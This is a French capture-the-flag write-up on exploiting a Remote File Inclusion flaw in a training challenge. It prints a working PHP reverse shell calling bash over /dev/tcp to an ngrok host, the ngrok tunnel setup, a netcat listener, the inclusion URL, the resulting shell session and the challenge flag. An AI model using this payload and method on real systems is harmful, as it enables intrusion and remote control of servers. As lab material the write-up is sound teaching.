Remote File Inclusion (RFI)

Consignes

Le flag se trouve à la racine du site web (/var/www/html) !

Réalisation

Après une connexion au site, nous nous retrouvons dans URL particulier. Un test similaire à celui effectué lors du challenge Local File Inclusion (LFI) Base64 est alors effectué en se rendant sur le lien suivant pour tester le RFI : http://ctfd-0.int.ecole2600.com:20676/index.php?page=https://google.com

Ce lien nous montre la page de https://google.com

On sait sur RFI permet d'inclure un fichier se trouvant sur un serveur distant. Le but va donc être d'injecter notre propre fichier afin de récupérer le FLAG.

Pour ce challenge, on a choisi de réaliser un reverse shell pour avoir un accès via un invite de commande (+ stylé non ? 😎) Pour se faire, étant donné que nous avons la version gratuite de ngrok, nous ne pouvons lancer que une seule session à la fois, ne nous permettant pas de réaliser à la fois une écoute sur le port 4444 pour réaliser la connexion à distance et un accès sur le port 8000 que nous utiliserons pour exposer notre shell sur Internet et y accéder via le site cible. Pour palier ceci, nous devons modifier le fichier ~/.config/ngrok/ngrok.yml en y ajoutant les éléments suivants :

tunnels:
  tcp:
    addr: 4444
    proto: tcp

  http:
    addr: 8000
    proto: http

Le but ici est de mettre en place 2 tunnels que nous allons lancer en même temps pour ne lancer que une session avec 2 adresses différentes pour l'écoute et le partage de notre reverse shell.

Une fois le fichier modifié et sauvegardé, nous pouvons exécuter dans un autre terminal notre ngrok avec les 2 ports renseignés dans le fichier précédent :

ngrok start --all 

ngrok                                                                                   (Ctrl+C to quit)
                                                                                                        
🫶 Using ngrok for OSS? Request a community license: https://ngrok.com/r/oss                            
                                                                                                        
Session Status                online                                                                    
Account                       xxxxxxxxxxx@gmail.com (Plan: Free)                                        
Update                        update available (version 3.22.1, Ctrl-U to update)                       
Version                       3.21.0                                                                    
Region                        Europe (eu)                                                               
Latency                       22ms                                                                      
Web Interface                 http://127.0.0.1:4040                                                     
Forwarding                    tcp://2.tcp.eu.ngrok.io:13380 -> localhost:4444                           
Forwarding                    https://2d42-176-189-21-212.ngrok-free.app -> http://localhost:8000       
                                                                                                        
Connections                   ttl     opn     rt1     rt5     p50     p90                               
                              4       0       0.00    0.00    0.00    459.91 

Nous pouvons bien observer la création de 2 liens sur les ports 4444 et 8000.

Il nous faut maintenant créer notre reverse shell. Pour se faire, créer le fichier shell.php qui est lié à notre port d'écoute 4444 :

<?php
shell_exec("/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/13380 0>&1'");
?>

Maintenant, exécuter dans un nouveau terminal la commande suivante pour écouter le port 4444 :

$ nc -lvnp 4444

Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444

Exécuter en paralèlle, dans le répertoire du fichier shell.php, la commande python permettant d'accéder au shell :

$ python3 -m http.server 8000

Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Une fois tout ceci prêt, accéder via le site cible à notre fichier shell.php en utilisant le lien ngrok sur le port 8000 :

http://ctfd-link.com:20676/index.php?page=https://2d42-176-189-21-212.ngrok-free.app/shell.php

Une fois l'accès à ce lien effectué, un reverse shell est bien établi sur notre page utilisant netcat :

$ nc -lvnp 4444

Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from ::1.
Ncat: Connection from ::1:59044.
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@c23adb78bacd:/var/www/html$

Une fois la connexion établie, on observe que l'on se trouve à la racine du site WEB, on peut alors affiché le FLAG :

www-data@c23adb78bacd:/var/www/html$ ls
css
flag.txt
index.php

www-data@c23adb78bacd:/var/www/html$ cat flag.txt
2600{Z85LM5ZhVkfme3Ejuu0PXw}

Voici donc le FLAG :

2600{Z85LM5ZhVkfme3Ejuu0PXw}

Last updated